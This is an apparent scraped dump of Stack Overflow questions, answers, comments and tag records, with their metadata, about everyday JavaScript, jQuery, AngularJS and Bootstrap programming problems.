has body: Scripts defined in the manifest only apply to background event page (where you probably don't need jQuery at all). To use jQuery in index.html, you should reference a local copy of it in a &lt;script&gt; tag. Be careful to include it in the right order. That said, there's a problem with your code. You are mixing up DOM elements and jQuery "elements". var elem = document.getElementById("progressbar"); returns a DOM element. You can convert it to a jQuery element with $(elem), or query the jQuery way instead: var elem = $("#progressbar"); Once you do that, you'll have access to jQuery methods. P.S. I put "elements" in quotation marks because jQuery methods manipulate "sets of matched elements" instead. In this case, a single element matches an id query.
type: Answer
has comment: http://stackoverflow.com/comment/40461724
upvote count: 6
has comment: http://stackoverflow.com/comment/40461970
answers question: http://stackoverflow.com/q/25858073
has comment: http://stackoverflow.com/comment/40461988
has comment: http://stackoverflow.com/comment/40461703
accepted answer of: http://stackoverflow.com/q/25858073
downvote count: 0
has comment: http://stackoverflow.com/comment/40465912
score: 6
has comment: http://stackoverflow.com/comment/40461887
type: AcceptedAnswer

http://stackoverflow.com/comment/40236926
type: Comment
type: QuestionComment
score: 0
has text: Line 29: using (Stream requestStream = httpWebRequest.GetRequestStream())
comment on: http://stackoverflow.com/q/25734668

http://stackoverflow.com/a/25832417
has body: Easy with CSS @media only screen and (max-width: 320px){ #toolbarright { display:none; } } DEMO1 Update 1: JQuery $(window).on('resize', function(){ $('#main-content').each(function(){ var box = $(this); var width = box.width(); var height = box.height(); if ( width &lt; 600) { box.find( "#toolbarright").hide(); } else if ( width &gt; 600) { box.find("#toolbarright").show(); } $('.size').html(width+'x'+height+' (r: '+(width/height).toFixed(3)+')'); }); }).trigger('resize'); CSS #main-content { margin: 120px; position: relative; } #toolbarright { position: absolute; top: 0; left: 0; right: 0; bottom: 0; overflow:hidden; outline: 1px solid grey; height:100px; } DEMO2
type: Answer
has comment: http://stackoverflow.com/comment/40416013
has comment: http://stackoverflow.com/comment/40416051
answers question: http://stackoverflow.com/q/25832287
score: 0
has comment: http://stackoverflow.com/comment/40414283
has comment: http://stackoverflow.com/comment/40415778
has comment: http://stackoverflow.com/comment/40416753

http://stackoverflow.com/q/25840911
has comment: http://stackoverflow.com/comment/40430425
tagged with: jquery
type: UnansweredQuestion
tagged with: php
has comment: http://stackoverflow.com/comment/40430508
has body: Here is my code. How can I get the value of ['ADMINISTRATOR_ID'] and pass it to the modal box. I'm kinda new at this view-contact is my modal box. What method should I use get or post? <?php foreach ($td_admins as $row) : ?> <?=$row[ 'ADMINISTRATOR_ID'];?> <?=$row[ 'FIRSTNAME'];?> <?=$row[ 'LASTNAME'];?> <a href="#view_contact" class="btn btn-info btn-xs view" data-id="<?=$row['ADMINISTRATOR_ID'];?>" data-toggle="modal">View Delete <?php endforeach; ?> Admin row number: <?php echo $_POST[ 'id'];?> Close
tagged with: twitter-bootstrap
score: 0
has title: Passing a PHP value to a twitter bootstrap modal
has answer: http://stackoverflow.com/a/25841246
type: Question
has comment: http://stackoverflow.com/comment/40430585
tagged with: javascript
has comment: http://stackoverflow.com/comment/40430680
answer count: 1

http://stackoverflow.com/q/25761608
has comment: http://stackoverflow.com/comment/40285165
has answer: http://stackoverflow.com/a/25763899
answer count: 1
downvote count: 0
tagged with: javascript
linked to: http://stackoverflow.com/q/25258651
favorite count: 0
accepted answer: http://stackoverflow.com/a/25763899
has title: inherit angularjs functions in all child elemts
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40285922
upvote count: 1
type: Question
tagged with: angularjs-directive
type: AnsweredQuestion
has body: I've created a directive that show a calender like this : app.directive('noeDatepicker', ['$parse', 'datetimeService', function ($parse, datetimeService) { return { restrict: 'E', templateUrl: '/app/directives/templates/datepicker.html', scope: { model: '=', withisrequired: '@' }, require: '^form', replace: true, link: function (scope, element, attrs, ctrl) { scope.buttonId = 'date_icon_' + attrs.id; scope.inputId = 'date_input_' + attrs.id; scope.cancelId = 'date_cancel_' + attrs.id; setTimeout(function () { Calendar.setup({...}); } }; } }); and my template is this : &lt;div ng-model="model" class="form-inline"&gt; &lt;input id="{{inputId}}" class="form-control" type="text" isrequired="{{withisrequired}}" ng-model="model" placeholder="1111/01/01" /&gt; &lt;img id="{{cancelId}}" src="/Content/noe/assets/image/icon/Cancle.svg" width="22" height="22" /&gt; &lt;img id="{{buttonId}}" src="/Scripts/jalalijscalendar/cal.png" /&gt; &lt;/div&gt; but my problem is that when I wanna add for example ng-readonly to this directive, it just add readonly property to div element and input element is not readonly and it accept input from user (see code bellow) : &lt;noe:datepicker model="viewModel.date" id="date1" name="date1" ng-readonly="true" /&gt; I want this ng-readonly function also make all child element in div tag readonly and not just add readonly proptety to div element! How can i Do that ?
score: 1

http://stackoverflow.com/a/25811513
has body: I have tested it and working fine. below is script here is HTML ... please dont miss form tag with name attr.
answers question: http://stackoverflow.com/q/25809738
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40627947

http://stackoverflow.com/comment/40240591
comment on: http://stackoverflow.com/a/25736645
score: 0
type: Comment
has text: the x-axis and y-axis values in the sourcedata, according to this sourcedata the trend line plot on the graph and here the fitdata function will pass the values to the regression.js
type: AnswerComment

http://stackoverflow.com/comment/40252110
type: Comment
has text: Nevermind I see you've done that here: http://stackoverflow.com/questions/20597087/how-to-return-a-deferred-promise-and-create-a-model-with-ember-deferred
type: AnswerComment
comment on: http://stackoverflow.com/a/25735029
score: 0

http://stackoverflow.com/comment/40417991
type: AnswerComment
type: Comment
has text: Expected response from `test.php` ?
comment on: http://stackoverflow.com/a/25790242
score: 0

http://stackoverflow.com/q/25859573
type: UnansweredQuestion
has body: Someone tell me why this works and not this. Am i missing something crucial? i only changed img srcto different urls
has title: Owl Slider changing img src breaks the slider
type: Question
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25859679
score: 0
tagged with: slider
answer count: 1
tagged with: css

http://stackoverflow.com/comment/40469160
has text: Thanks, this is an intresting thing, a like it. For now , i can create input field, but the system not handle it. In fontend i see the text field and i can type there but no result, not find the combination. Obviously i have to modify the product.js but i not find exactly what and how, yet.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25830658
score: 0

http://stackoverflow.com/q/25774138
has answer: http://stackoverflow.com/a/25775782
score: 3
downvote count: 0
has body: Let's say I have a resource that looks like this: angular.module('productsModule').factory('productFactory', function($resource) { return $resource('/products/:id',{}, {'query': {method: 'GET', isArray: false }}); }); And now I can use this in a controller like so: productFactory.query().$promise.then(function(products) { // success console.log(products); $scope.products = products; }); However, I'd like to move that functionality to the factory so that I could do this in any controller and it would get me the product list while maintaining the promises: $scope.products = productFactory.products This way I could have a centralised reusable resource. How can I achieve this in Angular?
favorite count: 0
tagged with: promise
tagged with: angularjs
type: Question
has answer: http://stackoverflow.com/a/25776100
upvote count: 3
answer count: 2
has comment: http://stackoverflow.com/comment/40308940
tagged with: design-patterns
has title: angular: centralised resource factory with promises
tagged with: javascript
type: UnansweredQuestion
tagged with: angularjs-scope

http://stackoverflow.com/comment/40434440
has text: @e1s you should use libraries like `jquery` to make sure you have cross browser support
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25781398
type: Comment

http://stackoverflow.com/comment/40347681
comment on: http://stackoverflow.com/a/25795483
has text: JSP method seems suitable to me for now. I will try that. Thanks
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25777175
tagged with: javascript
type: AnsweredQuestion
has title: Flash CS4 Error 1084: Expecting Identifier before Var
has answer: http://stackoverflow.com/a/25777203
tagged with: actionscript-3
has body: I have an identifier, 'this', before my 'var' function. However, it still tells me that I need an identifier before my 'var' function. Below is my code: this.var mc=new MovieClip(); addChild(mc)="myButton1", this.DisplayOBjectContainer.numChildren()); myButton1.createEmptyMovieClip("buttonBkg", myButton1.getNextHighestDepth()); myButton1.buttonBkg.lineStyle(0, 0x820F26, 60, true, "none", "square", "round"); myButton1.buttonBkg.lineTo(120, 0); myButton1.buttonBkg.lineTo(120, 30); myButton1.buttonBkg.lineTo(0, 30); myButton1.buttonBkg.lineTo(0, 0); Any help is much appreciated, thanks!
type: Question
tagged with: identifier
score: 0
accepted answer: http://stackoverflow.com/a/25777203
answer count: 1
tagged with: flash-cs4

http://stackoverflow.com/q/25812209
type: Question
accepted answer: http://stackoverflow.com/a/25812383
answer count: 1
tagged with: javascript
has title: ember.js making your variables accesssable from childroutes
score: 0
has body: i'm new at ember.js and i worked out the guide and read a lot of stuf. I've got a simple(?) problem, but i cant see the light :) So I try to programm a questionnaire. My idea is, i make the controll of the questionnaire on the mainpage (called kalkulator) and save the variables on this page too. Because at the last outline side i want to calculate the result. My question is saving the variables at the index the right strategy? I tried it, but i fail on the first side of my questionnaire, i cannot access at the variable from the mainpage kalkulator. App.AgentverteilungController = Ember.Controller.extend({ needs: "kalkulator" }); &lt;script type="text/x-handlebars" id="agentverteilung"&gt; &lt;ul&gt; question... {{input type="text" value=kalkulator.variable size="4"}} Inserted: {{kalkulator.variable }} &lt;/ul&gt; &lt;/script&gt; I hope somebody can help me. Thanks for advices.
tagged with: ember.js
has answer: http://stackoverflow.com/a/25812383
type: AnsweredQuestion

http://stackoverflow.com/q/25871943
answer count: 3
tagged with: datepicker
tagged with: wizard
type: UnansweredQuestion
has body: I have created a jquery wizard form, and inside i have to insert an input -> datepicker, but it doesn't work. Here is the input line: Creation date * and here the simple javascript: I think the problem is due to the wizard that is rendered after that the JavaScript is loaded. Anyway, I still searching for a solution. Can anyone help me? Thanks Gaetano
has answer: http://stackoverflow.com/a/25886582
type: Question
has answer: http://stackoverflow.com/a/25872006
has title: how to insert datepicker into a jquery wizard?
has answer: http://stackoverflow.com/a/25872036
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/a/25795212
answers question: http://stackoverflow.com/q/25794831
downvote count: 0
type: Answer
has body: Because if you're downcasting to your base object, there is no name member defined, so your web service doesn't send anything to the requester class BaseObject { //This class contains no members } class ExtendedObject : BaseObject { public string Name; } void Example() { ExtendedObject extended = new ExtendedObject {Name = "Default"}; BaseObject downcast = (BaseObject)extended; //This won't compile - Name is undefined because it's not defined in your base downcast.Name; }
upvote count: 3
score: 3

http://stackoverflow.com/comment/40536425
comment on: http://stackoverflow.com/a/25892345
has text: The changes from Josep are already in the new 1.4.2 version on github. I might not have been clear but I was talking about the issue of the empty namespace you talked about in the other answer you gave. Unfortunately I do not have the reps to comment on that answer and had to add a new answer, confusing... :) Sorry about that. But long story short: thanx for fix! I'll include it in 1.4.3 which will probably be published tomorrow! Best regards!
type: Comment
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40279211
has text: if your comment is an actual answer, it shouldn't have been a comment. Remember to post it as an answer instead (a million people answered this question pretty much at the same time)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25758175
type: Comment

http://stackoverflow.com/q/25807310
duplicate of: http://stackoverflow.com/q/5803305
tagged with: javascript
type: Question
has title: If any way to change the design and position for javascript Alert Message window
tagged with: http://stackoverflow.com/tag/html
has body: In default Javascript Alert Message window design and position need to change. if any possible methods available mean please help me.
has answer: http://stackoverflow.com/a/25807363
tagged with: css
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/5803305
has answer: http://stackoverflow.com/a/25809752
type: UnansweredQuestion

http://stackoverflow.com/a/25768753
answers question: http://stackoverflow.com/q/25768693
score: 0
has comment: http://stackoverflow.com/comment/40297828
type: Answer
has body: That's simple. window.onload executed later, when C is defined, if you just call new C it will throw because C is undefined. Move your call after definition, or define it using 'function' keyword, not 'var'
has comment: http://stackoverflow.com/comment/40297867

http://stackoverflow.com/comment/40309875
score: 1
type: AnswerComment
type: Comment
has text: This would be more complete if it addressed "How do I target the password inputs and change their inner value to a type of text."
comment on: http://stackoverflow.com/a/25775000

http://stackoverflow.com/q/25788033
has body: I have a jsf page with some bootstrap popovers. These popovers are draggable, using jQuery for that. When I click on a button to show a modal, it's shown on the screen, but the popovers keep showing over the modal. Here is an image that illustrates my thing. I realized that on bootstrap.css, the z-index of popover is greater than modal (the first is 1060 and the second 1050). I tried to alter the z-index of the modal, setting a bigger value, but it didn't work. So, I'm wondering if somebody just faced this problem.
has title: Show a bootstrap modal over a set of popovers
has answer: http://stackoverflow.com/a/25788279
type: AnsweredQuestion
downvote count: 0
tagged with: bootstrap-modal
score: 1
has comment: http://stackoverflow.com/comment/40332837
favorite count: 0
type: Question
tagged with: twitter-bootstrap
upvote count: 1
answer count: 1
accepted answer: http://stackoverflow.com/a/25788279
has comment: http://stackoverflow.com/comment/40344291
tagged with: bootstrap-popover
has comment: http://stackoverflow.com/comment/40333555
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25743663
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25746155
type: Question
has comment: http://stackoverflow.com/comment/40254139
tagged with: math
has body: I have a database and I want to create a form where a user can submit a query and create a PDF file with the results. The database has Latex and images as content and I cannot use simple libraries for PDF creation, since Latex isn't recognized. My backend is in Python and I don't have a problem to use a server or cliend side way to do this. What I have tried until now: 1) Use a Python library for HTML+CSS to PDF, but without MathJax Javascript library to render the Latex, the results is just text without the Latex. 2) Create a temp page with exactly the look I want to PDF has and then using http://pdfcrowd.com/ download the file. But my data is sensitive and also pdfcrowd isn't a free service. Any other idea, how I could do this? Edit: I found another way which seems to me the easier one, but I have a problem. I create a temp page with the look of PDF I want, wait the browser to render the Latex and then autorun a Javascript to print the page which give the option to save as PDF. The problem is that even if I add the media="all" in the link of css files, the result is without a css style.
tagged with: javascript
has title: Create a PDF with content as Latex, text and images
score: 0
tagged with: http://stackoverflow.com/tag/pdf
answer count: 1
tagged with: latex
has answer: http://stackoverflow.com/a/25746155
tagged with: python

http://stackoverflow.com/comment/40417244
comment on: http://stackoverflow.com/a/25833948
type: AnswerComment
has text: And you're still not posting your error message, did you put breakpoints in your code? Check the console
score: 0
type: Comment

http://stackoverflow.com/comment/40210908
type: QuestionComment
comment on: http://stackoverflow.com/q/25721390
type: Comment
has text: @Iman Mohamadi: I am looking for any clues. Please post anything you think may help :) I am currently digging into the source of jQuery to see where it might hook in.
score: 0

http://stackoverflow.com/q/25728141
upvote count: 2
has title: Basic CucumberJS and Zombie Use Case
favorite count: 0
tagged with: cucumberjs
tagged with: zombie.js
type: UnansweredQuestion
score: 2
answer count: 0
downvote count: 0
type: Question
has body: Good Day my fellow Comrades in Code: I followed some vanilla set up examples for using zombie and cucumber. The basic problem is that I visit a site in the first step. Then, in the next step, the zombie browser is not aware of it any more. I have a very basic setup, so I am unsure what I could be missing. Here is how I run the test, from the project home: ./node_modules/.bin/cucumber.js -r features/ Here is the cucumber file, very short: Feature: Load up the web page Scenario: Go to the index page Given I go to the "" page Then I should see "Start" Here are the two step definitions. As you can see, for sanity's sake, I am merely trying to access google: assert = require('assert') module.exports = function(){ this.World = require(process.cwd() + "/features/support/world").World; this.Given(/^I go to the "([^"]*)" page$/, function (subpath, callback) { this.browser.visit("http://www.google.com", function(e,browser){ //console.log(browser.html()); }); callback(); }); this.Then(/^I should see "([^"]*)"$/, function (arg1, callback) { console.log(this.browser.location.pathname); console.log(this.browser.html()); callback(); }); } And here is the output when run: ./ . 1 scenario (1 passed) 2 steps (2 passed) If I uncomment the console.log in the first step, the output is the HTML from visiting google, a la: Google Etc. Here is my world.js setup. It's quite vanilla: var zombie = require('zombie') var World = function World(callback){ this.browser = new zombie.Browser(); callback(); }; module.exports.World = World;
tagged with: javascript

http://stackoverflow.com/a/25739813
has body: First, wrap everything in an Immediately-Invoked-Function-Expression to enclose all variables in an isolated scope. (function() { /* all 4000 lines of code */ })(); Second, ensure no accidental global variables - declare local variables with var keyword. (function() { /* if you see this within the 4000 lines of code */ somePath = "abc"; /* change to this */ var somePath = "abc"; })(); Lastly, expose only one (or as few as possible) global variable as the entry point to your library. /* "myLib" should be your globally-unique namespace */ myLib = (function() { /* the 4000 lines of code */ return { /* attach functions and variables */ somePath: somePath; }; })(); alert(somePath); // undefined alert(myLib.somePath); // "abc"
type: Answer
score: 3
has comment: http://stackoverflow.com/comment/40245476
answers question: http://stackoverflow.com/q/25739601
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25739601
upvote count: 3
downvote count: 0

angularjs-orderby
tags question: http://stackoverflow.com/q/25728881
tag name: angularjs-orderby
type: Tag

http://stackoverflow.com/comment/40280402
type: QuestionComment
comment on: http://stackoverflow.com/q/25758092
score: 0
type: Comment
has text: @jasonscript I am not understanding how user can post wrong data

http://stackoverflow.com/comment/40245552
has text: You don't use routes, that's why $route.reload doesn't work.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25739905

http://stackoverflow.com/comment/40432880
type: Comment
has text: My actual application don't have any frames.I used jsfiddle just to share the code what i was trying.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25802624

http://stackoverflow.com/comment/40264633
has text: Are you sure that is a string rather than some fancy angular type?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25750119

http://stackoverflow.com/q/25768232
has answer: http://stackoverflow.com/a/25886759
score: 0
tagged with: dalekjs
answer count: 1
tagged with: testing
has title: grunt dalekjs-task does not close chrome after execution
tagged with: javascript
type: UnansweredQuestion
tagged with: gruntjs
has body: Hey I have following grunt task: module.exports = { options: { browser: ['chrome'], reporter: ['console', 'html'], dalekfile: false }, gui: { src: [ 'tests/gui/Login.js', 'tests/gui/Navbar.js' ] } }; The problem is that the dalek task does not kill the chrome instance after executing the test. Any ideas why? EDIT: This happens only when an error is found during the tests. System specs: win7, 64 bit Dalek specs: cli tools --> 0.0.4, dalekjs local install --> 0.0.8 cheers izocan
type: Question

http://stackoverflow.com/comment/40213453
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25723002
type: Comment
has text: This will (on its own) in no way "upload a file" - please paste more code or a link to a jsfiddle

http://stackoverflow.com/comment/40328962
score: 0
type: Comment
type: QuestionComment
has text: @swiss_blade I have observed your fiddle. Please mouse over on navigation menu go up & down to observer the problem.
comment on: http://stackoverflow.com/q/25784729

http://stackoverflow.com/comment/40466413
type: Comment
comment on: http://stackoverflow.com/a/25860885
score: 0
type: AnswerComment
has text: if you're going to answer easy one liners, shoudn't you at least use the right selector?

http://stackoverflow.com/a/25824400
accepted answer of: http://stackoverflow.com/q/25824140
answers question: http://stackoverflow.com/q/25824140
has body: function updateWaitingState(sender) { var parentid = $(sender).attr("data-parentid"); var element = document.getElementById(parentid); $(element).appendTo('.tablebody2:first'); }
score: 0
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40446134
has comment: http://stackoverflow.com/comment/40400389
has comment: http://stackoverflow.com/comment/40400583

http://stackoverflow.com/comment/40200782
comment on: http://stackoverflow.com/a/25716014
has text: You can't tell since it's not the true path of a file. There will be a server interpretation of the URL which will 'echoes' a file. Given the format of the append of the file result, I'd guess a JavaScript file.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25746185
has comment: http://stackoverflow.com/comment/40256782
answers question: http://stackoverflow.com/q/25746067
upvote count: 3
has body: Since you're passing a string into the function, you end up trying to assign this: setVar("globalVar"); // In setVar... "globalVar" = 5 which obviously doesn't work. Passing in just the variable name itself will almost work as expected: setVar(globalVar); // In setVar... globalVar = 5 HOWEVER Because of variable scope, inside the setVar function you have a local variable with the same name as the global one. Doing any assignation here will just set the local variable to 5, where the global variable will remain at whatever value it used to be. var myVar = 1; function setVar(globalVar) { globalVar = 5; alert(globalVar); } setVar(myVar); // alerts 5 alert(myVar); // alerts 1 Interestingly, if you pass the string in then you're able to set it via array-access on the window object: setVar("globalVar"); // In setVar... window[variableName] = 5; // window["globalVar"] = 5; but trying to do that by passing the variable itself in doesn't work... setVar(globalVar); // In setVar... window[globalVar] = 5; // window["5"] = 5 // or whatever globalVar contains The TLDR version of this is that this is the only way to do this exactly as you're trying to do in the OP (although there are other ways such as Ahmad's answer, where you set a specific variable without passing it): var myVar = 1; function setVar(varName) { window[varName] = 5; } setVar('myVar');
has comment: http://stackoverflow.com/comment/40256735
score: 3
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40256679

http://stackoverflow.com/q/25782365
has title: Multiple overlay on a image
tagged with: javascript
tagged with: jquery
score: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion
has body: I'm creating two overlay in an image. One overlay is fixed over the bottom of image,Second overlay will be displayed on mouse hover. My problem is second overlay is displayed on first overlay but it should not display over the fixed one. Sample partial Demo is here. Please find the screenshot too. Please help me or guid me to the right way to solve the issue or implement the design.. HTML &lt;section id="s-explore"&gt; &lt;div class="pagebreak"&gt;&lt;span&gt;The Lifestyle&lt;/span&gt; &lt;i class="down"&gt;&amp;lt;&lt;/i&gt; &lt;/div&gt; &lt;div class="wrapper layout"&gt; &lt;div class="col"&gt; &lt;div class="media"&gt; &lt;img id="d1" src="http://placekitten.com/300/300" /&gt; &lt;div class="contenthover"&gt; &lt;p&gt;&lt;a href="#" class="mybutton"&gt;Lorem ipsum&lt;/a&gt; &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; CSS .contenthover{ color:#fff; } .mybutton{ padding:20px; color:#fff; background-color:#000; margin:10px; } Jquery $(function () { $(' #d1').contenthover({ overlay_width: 300, overlay_height: 150, effect: 'slide', slide_direction: 'bottom', overlay_x_position: 'center', overlay_y_position: 'bottom', overlay_background: '#000', overlay_opacity: 0.8 }); });
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/25782520
upvote count: 1
downvote count: 1
type: Question

http://stackoverflow.com/comment/40301931
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25756144
has text: Thanks. I'm using Pro. I don't know about the Maps Engine product, but will take a look at it. Thanks for sharing Mark McDonald. :)

http://stackoverflow.com/q/25759432
has answer: http://stackoverflow.com/a/25760401
score: 0
upvote count: 1
downvote count: 1
answer count: 1
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
type: AnsweredQuestion
has body: I have an external page which I call in webview in iOS app. the page has modal popup for the survey in which user need to input text. once the popup opens and tap the textbox, keyboard appears but the text is not updating in the textbox. Please give suggestion as I am new to iOS development. Thanks in advance.
accepted answer: http://stackoverflow.com/a/25760401
has title: can't get writing text in html text box in Webview of iOS
type: Question
tagged with: ios
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25810729
score: 0
type: Answer
has body: I changed my return slightly to read &lt;script type="text/javascript"&gt; function beforeDelete() { var n = $('input:checked').length; return n &gt; 0 &amp;&amp; confirm('Are you sure you want to delete this item?'); } &lt;/script&gt;
answers question: http://stackoverflow.com/q/25796736

http://stackoverflow.com/comment/40401618
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25825250
has text: you got it peppe, if you want to put it as an answer i'll select it.
score: 0

string
tags question: http://stackoverflow.com/q/25742696
tags question: http://stackoverflow.com/q/25818689
tags question: http://stackoverflow.com/q/25725720
tags question: http://stackoverflow.com/q/25858371
tags question: http://stackoverflow.com/q/25815772
tags question: http://stackoverflow.com/q/25793833
tags question: http://stackoverflow.com/q/25715835
tags question: http://stackoverflow.com/q/25742949
tags question: http://stackoverflow.com/q/25823914
tags question: http://stackoverflow.com/q/25752699
tag name: string
tags question: http://stackoverflow.com/q/25791472
tags question: http://stackoverflow.com/q/25762048
type: Tag
tags question: http://stackoverflow.com/q/25760912
tags question: http://stackoverflow.com/q/25828924
tags question: http://stackoverflow.com/q/25840438
tags question: http://stackoverflow.com/q/25786525
tags question: http://stackoverflow.com/q/25766876
tags question: http://stackoverflow.com/q/25741765
tags question: http://stackoverflow.com/q/25818458
tags question: http://stackoverflow.com/q/25736656
tags question: http://stackoverflow.com/q/25799238
tags question: http://stackoverflow.com/q/25834893
tags question: http://stackoverflow.com/q/25801673
tags question: http://stackoverflow.com/q/25770499
tags question: http://stackoverflow.com/q/25775961
tags question: http://stackoverflow.com/q/25812665
tags question: http://stackoverflow.com/q/25852750

http://stackoverflow.com/a/25820008
type: Answer
upvote count: 1
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25819548
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25819548
score: 1
has body: Here is javascript code that generate table as per your requirement. var _Days = new Array("sun", "mon", "tue", "wed", "thr", "fri", "sat"); //declare 7 days function getCalendar(){ var tempDate = new Date("2014/09/01"); //create date object of month and year you want create calendar here. var firstDayOfMonth = tempDate.moveToFirstDayOfMonth().getDayName(); var daysInMonth = tempDate.moveToLastDayOfMonth().getDate(); var i = 1, j = 1, html = '&lt;table&gt;'; //create header html += '&lt;tr&gt;&lt;th scope="col"&gt;sun&lt;/th&gt;&lt;th scope="col"&gt;sun&lt;/th&gt;' + '&lt;th scope="col"&gt;tue&lt;/th&gt;&lt;th scope="col"&gt;wed&lt;/th&gt; ' + '&lt;th scope="col"&gt;thr&lt;/th&gt;&lt;th scope="col"&gt;fri&lt;/th&gt; ' + '&lt;th scope="col"&gt;sat&lt;/th&gt;&lt;/tr&gt;' while (j &lt;= daysInMonth) { html += '&lt;tr&gt;'; $(_Days).each(function (index) { if ((this == firstDayOfMonth || j &gt; 1) &amp;&amp; (j &lt;= daysInMonth)) { html += '&lt;td&gt;' + j + '&lt;/td&gt;' j++; } else { html += '&lt;td&gt;&amp;nbsp;&lt;/td&gt;'; } }); html += '&lt;/tr&gt;' } } html+='&lt;/table&gt;'; Table html is ready now you can use it as per your requiement. Do not forgot to add reference of Datejs.

http://stackoverflow.com/comment/40200010
score: 1
type: Comment
type: QuestionComment
has text: replace the dot with `[\s\S]`. The "while" statement is totally useless, you can remove it.
comment on: http://stackoverflow.com/q/25715729

http://stackoverflow.com/q/25786141
type: Question
possible better answer: http://stackoverflow.com/a/25786500
tagged with: http://stackoverflow.com/tag/html
has title: Timespan javascript
answer count: 2
has answer: http://stackoverflow.com/a/25786910
upvote count: 1
has body: So i was looking for a function to get the timespan between two dates and i've found this answer on SO Work with a time span in Javascript However the date is in this format 7/Nov/2012 20:30:00 and my dates are 7/11/2012 20:30:00, and my values came from inputs http://jsbin.com/igaruj/47/edit If a try to change "Nov" to "11" i got NaN on the output. Do i have to convert the dates ? Here is the code. &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset=utf-8 /&gt; &lt;/head&gt; &lt;body&gt; &lt;input type="text" id ="start"value="7/Nov/2012 20:30:00" /&gt; &lt;input type="text" id="end" value="20/Nov/2012 19:15:00" /&gt; &lt;/body&gt; &lt;/html&gt; The javascript var startDate = document.getElementById("start").value; var endDate = document.getElementById("end").value; var date1 = new Date(startDate); var date2 = new Date(endDate); var diff = date2.getTime() - date1.getTime(); var days = Math.floor(diff / (1000 * 60 * 60 * 24)); diff -= days * (1000 * 60 * 60 * 24); var hours = Math.floor(diff / (1000 * 60 * 60)); diff -= hours * (1000 * 60 * 60); var mins = Math.floor(diff / (1000 * 60)); diff -= mins * (1000 * 60); var seconds = Math.floor(diff / (1000)); diff -= seconds * (1000); console.log(days + " days : " + hours + " hours : " + mins + " minutes : " + seconds + " seconds");
has comment: http://stackoverflow.com/comment/40329808
accepted answer: http://stackoverflow.com/a/25786910
has comment: http://stackoverflow.com/comment/40329272
linked to: http://stackoverflow.com/q/14297625
has comment: http://stackoverflow.com/comment/40329755
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25786500
tagged with: javascript
score: 1
favorite count: 0

http://stackoverflow.com/comment/40216282
score: 0
comment on: http://stackoverflow.com/a/25724073
type: AnswerComment
type: Comment
has text: @Addioioi Corrected the issue.

http://stackoverflow.com/comment/40474082
score: 0
comment on: http://stackoverflow.com/q/25865231
type: Comment
type: QuestionComment
has text: You haven't said what you're trying to do... the CSS you've posted will move each subsequent ` ` down 25px below the previous one, which is expected behaviour. What are you trying to do instead?

http://stackoverflow.com/a/25733703
downvote count: 0
score: 1
has body: You need to set id to layers to identify them. var layer = new Kinetic.Layer({id:1}); var layer2 = new Kinetic.Layer({id:2}); Add click event handler on stage stage.on('click', function(e) { if(e.targetNode.parent.attrs.id == 1){ alert('first layer'); }else{ alert('second layer'); } }); You can check layer id through the descendants e is MouseEvent object. e.targetNode is Kinetic.Image e.targetNode.parent is Kinetic.Layer e.targetNode.parent.attrs.id is id of Kinetic.Layer
upvote count: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25726071
answers question: http://stackoverflow.com/q/25726071

http://stackoverflow.com/q/25860758
tagged with: ajax4jsf
linked to: http://stackoverflow.com/q/11408130
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40468592
has title: how to render only after oncomplete in a4j:Commandbutton
score: 0
has body: I am facing and issue while rendering my plots. &lt;h:form id="form1"&gt; &lt;a4j:commandButton id="b1" value=" HeatMap " action="#{bean.heatMap}" oncomplete="plotHeatMap('#{bean.heatMapData}')" render="fullPage" /&gt; &lt;/h:form&gt; &lt;h:form id="form2"&gt; &lt;a4j:commandButton id="b2" value=" BarChart " action="#{bean.barChart}" oncomplete="plotBarChart('#{bean.barChartData}')" render="fullPage" /&gt; &lt;/h:form&gt; The user has to select first some input data which gets set to bean and then click on either of these buttons.This will calculate few things and fetch the calculated data from bean and render and the corresponding plot.The plots are created using D3.js I have 2 issues here: 1. Buttons work on second click but not on first. 2.The data fetched in the previous execution is rendered on the first click and actual data is rendered on the next click. I have cleared the all the lists in the bean as well as the JavaScript function. I am not able to figure out the reason for such behavior. Please advice.
has comment: http://stackoverflow.com/comment/40530923
tagged with: d3.js
type: UnansweredQuestion
answer count: 0
tagged with: jsf

http://stackoverflow.com/comment/40287070
comment on: http://stackoverflow.com/a/25762878
type: AnswerComment
type: Comment
score: 1
has text: … which means the onclick function returns `undefined` which will not prevent the default action.

http://stackoverflow.com/a/25784766
has comment: http://stackoverflow.com/comment/40338989
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/25784166
score: 2
